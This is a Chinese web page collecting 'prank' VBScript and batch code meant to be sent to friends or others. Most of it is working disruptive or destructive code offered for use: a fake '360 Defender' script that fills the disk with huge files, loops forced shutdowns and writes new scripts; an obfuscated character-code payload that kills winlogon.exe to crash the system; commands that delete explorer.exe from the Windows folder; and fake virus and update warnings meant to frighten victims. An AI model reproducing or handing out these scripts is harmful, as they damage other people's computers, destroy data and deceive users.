代码大全恶搞vbs(恶搞代码简单)
vbs整人代码，超搞笑，共3个
VB经常被用来编写一些整人的脚本程序，那么如何编写这类的程序呢？下面我给大家展示一下。
工具/材料
Sublime Text
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首先来看第一个脚本，这个脚本会每隔1秒就弹出一个窗口，并且你都关不掉，如下图所示
02
然后第二个脚本是不断的循环一段内容，如下图所示，它和第一个一样，也不能关闭弹窗
03
接下来这个脚本每一次循环会展示4个弹窗，每个弹窗的内容不一样，每个弹窗的弹出间隔为1秒，如下图所示
04
最后一个脚本是带交互功能的，被整的人只有输入指定的内容才能关闭脚本，否则脚本会一直循环弹出，如下图所示
有没有一些恶搞别人的vbs代码
自编vbs仅供娱乐！！！
set qstart = wscript.CreateObject("wscript.shell")
set qweb = CreateObject("Wscript.Shell")
set qwrite = CreateObject("scripting.filesystemobject")
set qsay = CreateObject("sapi.spvoice")
qstart.run "D:\病毒BGM.mp3" '《江南皮革厂倒闭了》
msgbox "您的电脑已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"
qstart.run "cmd.exe /c start appwiz.cpl"
qstart.run "cmd.exe /c start bthprops.cpl"
qstart.run "cmd.exe /c start calc.exe"
qstart.run "cmd.exe /c start cleanmgr.exe"
qstart.run "cmd.exe /c start cmd.exe"
qstart.run "cmd.exe /c start colorcpl.exe"
qstart.run "cmd.exe /c start control.exe"
qstart.run "cmd.exe /c start cttune.exe"
qstart.run "cmd.exe /c start desk.cpl"
qstart.run "cmd.exe /c start dfrgui.exe"
qstart.run "cmd.exe /c start dxdiag.exe"
qstart.run "cmd.exe /c start FileHistory.exe"
qstart.run "cmd.exe /c start Firewall.cpl"
qstart.run "cmd.exe /c start Fondue.exe"
qstart.run "cmd.exe /c start fontview.exe"
qstart.run "cmd.exe /c start fsquirt.exe"
qstart.run "cmd.exe /c start hdwwiz.cpl"
qstart.run "cmd.exe /c start inetcpl.cpl"
qstart.run "cmd.exe /c start intl.cpl"
qstart.run "cmd.exe /c start irprops.cpl"
qstart.run "cmd.exe /c start joy.cpl"
qstart.run "cmd.exe /c start LaunchTM.exe"
qstart.run "cmd.exe /c start Magnify.exe"
qstart.run "cmd.exe /c start main.cpl"
qstart.run "cmd.exe /c start mblctr.exe"
qstart.run "cmd.exe /c start mmsys.cpl"
qstart.run "cmd.exe /c start msinfo32.exe"
qstart.run "cmd.exe /c start mspaint.exe"
qstart.run "cmd.exe /c start ncpa.cpl"
qstart.run "cmd.exe /c start notepad.exe"
qstart.run "cmd.exe /c start powercfg.cpl"
qstart.run "cmd.exe /c start RTSnMg64.cpl"
qstart.run "cmd.exe /c start SnippingTool.exe"
qstart.run "cmd.exe /c start sysdm.cpl"
qstart.run "cmd.exe /c start TabletPC.cpl"
qstart.run "cmd.exe /c start telephon.cpl"
qstart.run "cmd.exe /c start timedate.cpl"
qstart.run "cmd.exe /c start write.exe"
qstart.run "cmd.exe /c start wscript.exe"
qstart.run "cmd.exe /c start wscui.cpl"
qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"
qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"
qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"
qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"
qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"
qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"
qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"
wscript.sleep 25000
qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在60秒后自动关机"" ",0,true
qstart.run "cmd.exe /c echo 滚|clip"
A = INPUTBOX ("说！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滚”已复制到剪贴板，可以粘贴。）","360 Defender","不是",8000,7000)
IF A = "是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "好的，现在您可以下载360安全卫士来杀毒了。",vbokonly,"360 Defender"
do
qweb.run""
loop
ELSEIF A = "不是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎么这么懒呢？",vbokonly+vbQuestion,"360 Defender"
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是时候锻炼锻炼了",vbokonly+vbInformation,"360 Defender"
msgbox "游戏规则：在开始后，请及时点击 “确定” 键来取消关机。"+chr(13)+"现在您可以把这个窗口x掉，或者点击确定，来开始游戏。",vbokonly+vbInformation,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true
msgbox "取消关机",vbokonly,"360 Defender"
qstart.run "cmd.exe /c shutdown -a",0,true
qweb.run""
qweb.run""
qweb.run""
loop
ELSEIF A = "" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "周鸿祎表示无语。"+chr(13)+chr(13)+chr(13)+"这样是不可能解决问题的",vbokonly,"360 Defender"
msgbox "自己探寻吧",vbokonly,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5",0,true
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd.exe /c shutdown -a",0,true
loop
ELSEIF A = "滚" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "emmmmmmmm",vbokonly,"360 Defender"
set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)
qwriteb.WriteLine "wscript.CreateObject(" chr(34) "wscript.shell" chr(34) ").run " chr(34) "D:\1.vbs" chr(34)
qwriteb.WriteLine "msgbox " chr(34) "滚" chr(34) ",vbokonly+vbinformation," chr(34) "360 Defender" chr(34)
qwriteb.close
qwrite.movefile "D:\1.txt","D:\1.vbs"
qstart.run "D:\1.vbs"
ELSE
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "由于您在说废话，但是您一定不想浪费时间说废话，所以该电脑对您有害。浪费别人时间就是谋财害命 ( 鲁迅 ) 。360积极维护您的财产权和生命健康权，决定不砸掉您的电脑。"+chr(13)+chr(13)+"那现在先把C盘给抹咯！",vbokonly+vbInformation,"360 Defender"
qsay.speak ("在抹掉C盘的过程中，您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qstart.run "cmd.exe /c shutdown -r -t 5",0,true
END IF
求大量VBS整人代码.
第一个 do msgbox "hi" loop 第二个 Set s = CreateObject("sapi.spvoice") i=0 do s.speak i i=i+1 loop 第三个 if MsgBox("对不起,您灌水太多需要重新启动计算机。"chr(10)"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then msgbox " 系统将立刻重起wow ~_^",,"你上当了！！" Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true end if 第四个 '这个很强悍的vbs,蓝屏 strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,- 23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,- 13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103 ,98,111,120,32,34,-15133,89,-13899,-20026,- 20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,- 14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,- 13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,- 24147,63,34,44,54,52,44,34,-11825,-10536,-16721,- 18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1 01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116, 46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115, 116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1 03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101 ,110,100,32,105,102,13,10,13,10,13,10) for i=1 to UBound(strs) runner=runnerchr(strs(i)) next Execute runner 第五个 if MsgBox("你是猪头吗？",vbYesNo,"提示")=vbyes then msgbox "你SB啊!" else msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!" Set ws = CreateObject("Wscript.Shell") wscript.sleep 1200 ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1nul 2nul",vbhide end if 第六个 Set ws = CreateObject("Wscript.Shell") ws.run "cmd.exe /c call calc.exe",0 第七个 set ws=CreateObject("Wscript.Shell") ws.run "cmd.exe /c taskkill /f /im explorer.exe",0 wscript.sleep 900 ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data" wscript.sleep 1200 ws.run "cmd.exe /c del /q /f %windir%\explorer.exe" 第八个 Set ws=WScript.CreateObject("WScript.Shell") ws.popup"大家好，我就是改变社会风气，风魔万千少女，刺激电影市道，提高年轻人内涵，",10,"闪亮登场",64 ws.popup"玉树临风，风度翩翩的……“咕噜…咕噜…”，不好意思，我内急先闪了，再见！",15,"farewell",64 wscript.sleep 100000 ws.popup"发现重要windows更新未安装，系统将自动下载更新并安装",10 ws.popup"正在下载windows更新……",12 wscript.sleep 10000 ws.popup"windows更新已下载完毕，正在安装更新……",12 wscript.sleep 3000 msgbox"系统检测到WINDOWS更新中携带有不明软件 comcontroler.exe ，并在强行嵌入你的电脑",4132,"是否对其进行扫描？" msgbox"软件名：comcontroler.exe "vbcrlf""vbcrlf" 大小：1.21MB "vbcrlf""vbcrlf" 发行者：幻想丶永恒（403746401）"vbcrlf""vbcrlf" 安全状况：有病毒",vbinformation msgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安装" msgbox"阻止失败，请检查防火墙是否开启" wscript.sleep 15000 ws.popup"windows更新安装成功！",vbinfmation,20 msgbox"您的电脑可能已被入侵，请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料",vbinformation ws.popup"哈哈，我已经控制了你的电脑！",12,"很高兴见到你",64 ws.popup"不信？我用你的电脑打开我的QQ空间给你看看",10 ws.run" " msgbox"警告：为了您的电脑安全，请尽快安装使用杀毒软件对系统进行全面杀毒",vbinformation ws.popup"我再打开中国神泣官方网站",10 ws.run" " ws.popup"现在相信了吧？我再打开你的记事本给你写封英语信",20 ws.popup"记事本会被打开并最大化，这时你不要动，千万别把目标转移到其他窗口，耐心看我把信写完。否则引起系统混乱我可不负责！" ws.run "notepad",3 : wscript.sleep 2000 verybat=split("dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it's ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj",",") 第九个 for each wind in verybat ws.sendkeys wind wscript.sleep 500 next ws.popup"唉:-(( ⊙ o ⊙ )！呀，我好累啊，我下了 886",30 ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8 ws.run "taskkill /f /im qq.exe" ws.popup"你还要上吧 慢慢玩哦",27 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 4 WSHshell.SendKeys "%{F4}" next ws.run"shutdown -s -t 1000600" wscript.sleep 2000 dim a do a=inputbox("请输入解除关机密码") if a="403746401" then ws.run"shutdown -a" msgbox"密码验证成功，enjoy the best!" exit do else msgbox"密码验证失败，请输入解除关机密码：403746401 ",vbretrycancel end if loop ws.popup"哈哈 被吓到了吧 好玩吧？你以为真的是病毒？呵呵O(∩_∩)O~，我还没那么打本事能做出病毒来！",57 ws.popup"(\(^o^)/~ 好啦，跟你开了个小小玩笑。你也可以把这个文件发给其他人，耍耍别人。呵呵^_^",62 wscript.sleep 8900 do until i=10 i=i+1 msgbox "CPU温度过高，系统出现严重错误！，请结束所有应用程序让CPU降温！",16+4096,"系统提示：" wscript.sleep 1000*45 loop 第十个 set sh=wscript.createobject("wscript.shell") sh.run"shutdown -s -t 332" 第十一个 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 40 WSHshell.SendKeys "%{F4}" next 第十二个 dim a,b,c,s Set fs=CreateObject("Scripting.FileSystemObject") name = WScript.ScriptName fullname = WScript.ScriptFullName path = Replace(fullname,name,"") a=inputbox("请在对话框中填写你真实的姓名！"vbcrlf""vbcrlf"稍后将会给你意外的惊喜！！ "vbcrlf""vbcrlf"不信你可以试试看！！！"vbcrlf""vbcrlf"最好是中文名···","芮洲提示：","请在此输入你的名字") If a = ""Then WScript.Quit End If MyVar=MsgBox ("你的名字叫："a" ",vbYesNo + vbExclamation,"芮洲提示：") If MyVar=vbYes Then ElseIf MyVar=vbNo Then a=inputbox("请在对话框中填写你真实的姓名！"vbcrlf""vbcrlf"稍后将会给你意外的惊喜！！ "vbcrlf""vbcrlf"不信你可以试试看！！！"vbcrlf""vbcrlf"最好是中文名···","芮洲提示：","请在此输入你的名字") If a = ""Then WScript.Quit End If End If wscript.sleep 1000b=inputbox("尊敬的 "a" 你好！"vbcrlf""vbcrlf"请填写一下你的爱好。(只需填一个哦！)","芮洲提示：","请在此输入你的爱好") If b = ""Then WScript.Quit End If wscript.sleep 1000c = inputbox ("请在下面对话框中输入你的出生[年 月日]电脑将自动算出到目前为止你已经在地球上存活了多少时间！"vbcrlf""vbcrlf"下面以我为列 不同可以修改"vbcrlf""Chr(10)"格式为：1987-06-02","芮洲提示：","1987-06-02") If c = ""Then WScript.Quit End If wscript.sleep 1000age = abs(datediff("d",date,c)) wscript.sleep 1 current = now() h=datepart("h",current) n=datepart("n",current) WScript.Sleep 1000 s = msgbox (Chr(10)"恭喜 "a" 已在地球上存活了:"age"天 "h"小时 "n"分钟.....",vbOKCancel+63,"芮洲提示：") if s=2 then end if Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"a"的秘密.vbs",true) auto.WriteLine"MSGBOX""""""我的名字叫:"a" """"""vbcrlf""""""""""""vbcrlf""""""我的爱好是:"B" """"""vbcrlf""""""""""""vbcrlf"""""""a"已经活了:"age"天 "h"小时 "n"分钟 """""",64,"""""""a"的自我介绍：""" auto.WriteLine"msgbox""""""亲爱的 "a " 再见了！"""""",48,""""""芮洲提示：""""""" Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"a"生日快乐.TXT",true) auto.WriteLine"本人芮洲祝: "a" 生日快乐、心想事成、敢于大胆尝试、早日飞黄腾达......." auto.WriteLine"你已在地球上生活了:"age"天 "h"小时 "n"分钟了" auto.WriteLine"时间是根据你的出生年月日算的，可能不是很精确，但目的只是想让知道时间过的很快，请珍惜时间!!!。"
vbs恶搞代码谢谢了，大神帮忙啊
WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"TSName)WScript.Echo("你是可爱的小朋吗?")WScript.Echo("哈,我想你拉，这你都不知道吗？")WScript.Echo("怎么才来，说~是不是不关心我")WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")WScript.Echo("小强很生气，后果很严重哦。")WScript.Echo("嘿嘿！你也会很惨滴哦")WScript.Echo("是不是想清除我？")WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")WScript.Echo("还剩49下，快点点哦")WScript.Echo("还剩48下，快点，小笨蛋！")WScript.Echo("还剩47下对，就这样快点点！")WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")WScript.Echo("还剩45下，记得要快哦！")WScript.Echo("还剩43下")WScript.Echo("还剩42下")WScript.Echo("还剩41下")WScript.Echo("还剩40下")WScript.Echo("还剩39下")WScript.Echo("还剩38下")WScript.Echo("还剩37下")WScript.Echo("还剩36下")WScript.Echo("还剩35下")WScript.Echo("还剩34下")WScript.Echo("还剩33下")WScript.Echo("还剩32下")WScript.Echo("还剩30下")WScript.Echo("还剩29下")WScript.Echo("还剩28下")WScript.Echo("还剩27下")WScript.Echo("还剩26下")WScript.Echo("还剩25下")WScript.Echo("还剩24下")WScript.Echo("还剩23下")WScript.Echo("还剩22下")WScript.Echo("还剩21下")WScript.Echo("还剩20下")WScript.Echo("还剩19下")WScript.Echo("还剩18下")WScript.Echo("还剩17下")WScript.Echo("还剩16下")WScript.Echo("还剩15下")WScript.Echo("还剩14下")WScript.Echo("还剩13下停停！！！慢点，我有话要说")WScript.Echo("还剩12下，你继续点我就会消失滴")WScript.Echo("还剩11下，以后就看不到我拉。555555")WScript.Echo("还剩10下，你现在可以选择停止！")WScript.Echo("还剩9下。你还点啊，不要我拉？")WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")WScript.Echo("还剩7下。疯了，你有点负意！")WScript.Echo("还剩6下。对。你就点吧，我恨你！")WScript.Echo("还剩5下，不明白，删除我你就好吗？")WScript.Echo("还剩4下！真要删除我？")WScript.Echo("还剩3下。可是我真的很眷恋你。。。")WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！")WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次") 2doWScript.Echo("想结素我么?那你就再多点一次")loop 3 vbs恶搞代码这里有视频教程可以看下
vbs整人代码大全
这个很强悍的vbs,蓝屏
strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-
23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-
13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103
,98,111,120,32,34,-15133,89,-13899,-20026,-
20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-
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13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-
24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-
18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1
01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,
46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,
116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1
03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101
,110,100,32,105,102,13,10,13,10,13,10)
for i=1 to UBound(strs)
runner=runnerchr(strs(i))
next
Execute runner
vbs解包代码2010-03-27 21:43Dim rs, ws, fso, conn, stream, connStr, theFolder
Set rs = CreateObject("ADODB.RecordSet")
Set stream = CreateObject("ADODB.Stream")
Set conn = CreateObject("ADODB.Connection")
Set fso = CreateObject("Scripting.FileSystemObject")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=HSH.mdb;"
恶搞电脑病毒代码有哪些
有时候想和朋友们玩玩，搞点恶搞电脑病毒给他们，要怎么办呢?下面由我给你做出详细的恶搞电脑病毒代码介绍!希望对你有帮助!
恶搞电脑病毒代码介绍一：
首先在电脑上新建一个TXT文档
然后把下面这段代码输入进去
On Error Resume Next
Dim WSHshellA
Set WSHshellA = wscript.CreateObject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是猪，不喊就马上让你关机，不信，试试···"" ", 0, True
Dim a
Do While (a "我是猪")
a = InputBox("快说我是猪,不叫就不关机，快点，说 ", "说不说", "不说", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛!好,不关了"
WSHshella.run "cmd.exe /c shutdown -a"
然后保存
然后把这个文本文档的后缀改为vbs 也就是说新建的文本文档本来是.TXT的后缀，
你要修改为.VBS的后缀
恶搞电脑病毒代码介绍二：
新建一个文本文档，然后插入hhjsfdusnjwindow,,hffjfiukjei 508963kfdjksfjjkk,最后插入图片，如果对方有邮箱，就发给他
他一打开就会出现你插入的图片，然后出现 蓝屏 (效果7—10分钟)(注：做好病毒后不要打开，否则会出现以上说的情况)
恶搞电脑病毒代码介绍三：
新建一个文本文档(.txt)，要复制以下代码：
@echo off
color 4
tskill explorer
echo .
echo .
echo .
echo .
echo 警告：在病毒执行期间禁止关闭电源，
echo 否则你就和你心爱的电脑说
echo .
echo . BYE-BYE
echo .
echo Computer system crash!
echo .
echo .
echo I am a virus, my name is Ghost.
echo 我是魔鬼病毒，在这个堕落的世界上苏醒了。
echo .
echo . Warning! CPU has been changed please re-enter CPU settings
echo. in the CMOS setuo and remember to save before quit.
echo. Secondary IDE channel no 80 conductor cable installed.
set /p select=:)
if "%select%"=="" goto start
:start
shutdown -r -t 10 -c "您的计算机上带有魔鬼病毒，今天是它的发作日期。病毒已经破坏了您的系统，您的计算机将在10秒钟后重启。"
::结束
再另存为：名字.bat 你要记住"名字"后面要加".bat"
就可以了，没有任何破坏性，吓吓人。
你可以试试看看效果。